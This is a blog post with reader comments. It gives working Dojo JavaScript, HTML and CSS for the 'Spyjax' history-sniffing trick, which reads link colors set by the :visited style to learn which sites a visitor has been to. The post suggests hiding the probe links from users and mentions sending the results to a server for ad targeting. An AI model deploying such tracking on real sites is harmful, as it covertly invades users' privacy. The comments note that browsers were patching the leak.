Spyjax: Ajax For Evil Using Dojo

By  on  

The idea of Spyjax is nothing new. In pasts posts I've covered how you can spy on your user's history with both MooTools and jQuery. Today we'll cover how to check user history using the Dojo Toolkit.

The HTML

<ul>
<li><a href="https://davidwalsh.name" class="checkme">David Walsh Blog</a></li>
<li><a href="http://css-tricks.com" class="checkme">CSS Tricks</a></li>
<li><a href="http://snook.ca" class="checkme">Snook</a></li>
<li><a href="http://cnn.com" class="checkme">CNN</a></li>
<li><a href="http://digg.com" class="checkme">Digg</a></li>
<li><a href="http://flickr.com" class="checkme">Flickr</a></li>
<li><a href="http://php.net" class="checkme">PHP.Net</a></li>
<li><a href="http://reddit.com" class="checkme">Reddit</a></li>
<li><a href="http://yahoo.com" class="checkme">Yahoo!</a></li>
<li><a href="http://google.com" class="checkme">Google!</a></li>
<li><a href="http://msn.com" class="checkme">MSN</a></li>
<li><a href="http://gmail.com" class="checkme">Gmail</a></li>
<li><a href="http://ajaxian.com" class="checkme">Ajaxian</a></li>
<li><a href="http://imdb.com" class="checkme">IMDB</a></li>
<li><a href="http://mootools.net" class="checkme">MooTools</a></li>
<li><a href="http://jquery.com" class="checkme">jQuery</a></li>
<li><a href="http://wordpress.org" class="checkme">Wordpress</a></li>
<li><a href="http://dlisted.com" class="checkme">DListed</a></li>
<li><a href="http://foxnews.com" class="checkme">Fox News</a></li>
<li><a href="http://dzone.com" class="checkme">DZone</a></li>
<li><a href="http://nettuts.com" class="checkme">NetTuts</a></li>
<li><a href="http://youtube.com" class="checkme">YouTube</a></li>
<li><a href="http://diggnation.com" class="checkme">Diggnation</a></li>
<li><a href="http://collegehumor.com" class="checkme">College Humor</a></li>
<li><a href="http://facebook.com" class="checkme">Facebook</a></li>
<li><a href="http://myspace.com" class="checkme">MySpace</a></li>	
</ul>

For the sake of this demo I've created a list of links. A very clever developer would inject links into the page with a "display:none;" declaration so the user didn't know they were there.

The CSS

a.checkme			{ color:#00ff00; }
a.checkme:visited	{ color:#ff0000; }
.highlight			{ background:#fffea1; }

The crucial idea behind the CSS above is that the :visited link has a different color than the initial state -- that's how we know a link has been visited.

The Dojo JavaScript

(function(d,$,$$) {
	d.ready(function() {
		d.connect($('tell-me'),'onclick',function() {
			var sitesFound = 0;
			$$('a.checkme').forEach(function(node) {
				var color = d.style(node,'color');
				if(color == '#ff0000' || color == 'rgb(255, 0, 0)') {
					d.addClass(node,'highlight');
					sitesFound++;
				}
			});
			//output stuff
			if(sitesFound) {
				alert('I know ' + sitesFound + ' websites you\'ve been to.  This is where I save your information via an AJAX call to a PHP script.');
			}
			else {
				alert('Darn, couldn\'t find any!');
			}
		});
	});			
})(dojo,dojo.byId,dojo.query);

Much like the previous MooTools and Dojo posts, we start out by grabbing every link we want to check and analyze the link's color. If the color matches the visited state's color, we've found a site the user has been to. Sadly enough, it's really that easy.

So how is this relevant? Imagine you know that the user has been to the Apple Store (http://store.apple.com). You could target your website's ads toward iPods, iPads, etc. That's a fairly simple example. You could simply spy on users for your own sake. What are your thoughts on this practice?

Recent Features

Incredible Demos

  • By
    Image Reflection with jQuery and MooTools

    One subtle detail that can make a big difference on any web design is the use of image reflections. Using them too often can become obnoxious but using reflections on large, "masthead" images is a classy enhancement. Unfortunately creating image reflections within your...

  • By
    MooTools Image Preloading with Progress Bar

    The idea of image preloading has been around since the dawn of the internet. When we didn't have all the fancy stuff we use now, we were forced to use ugly mouseover images to show dynamism. I don't think you were declared an official...

Discussion

  1. Will

    It’s probably worth having a link to last month’s announcement by Mozilla over this flaw:

    http://blog.mozilla.com/security/2010/03/31/plugging-the-css-history-leak/

  2. Does this only work if you have clicked on a link to the particular site from another site? I visit php.net several times a day and flickr many times but neither show as visited.

    Also your second Demo button underneath the code is a broken link :)

  3. Note that browser vendors (at least at Mozilla) are currently implementing fixes for this security leak. This method will stop working soon in modern browsers.

  4. Adam Radabaugh

    @Christoph Pojer: How would they fix this? Disallow JS to read the color of visited nodes? That would break standards. Not allow :visited links to be styled if they violate the same-domain origin policy? Still seems very non-standards compliant. I am curious to know.

  5. Thanks for the links guys! I hadn’t seen this.

  6. http://www.unsanitized.net/linkstatus/?lang=en

    I use the following plugin-in for Firefox which denies hacks like these. Pretty handy as well because I can also see when I last visited said link.

  7. Great post. I was making a research about similar methods just for the fun of it. With such methods there are endless possibilities to push related content to user.

  8. hamburger

    thats great fun with dojo

    i like your site

  9. @bukmacher: It’s a custom template for this site. If you look in the source, it’s called “walshbook3”

Wrap your code in <pre class="{language}"></pre> tags, link to a GitHub gist, JSFiddle fiddle, or CodePen pen to embed!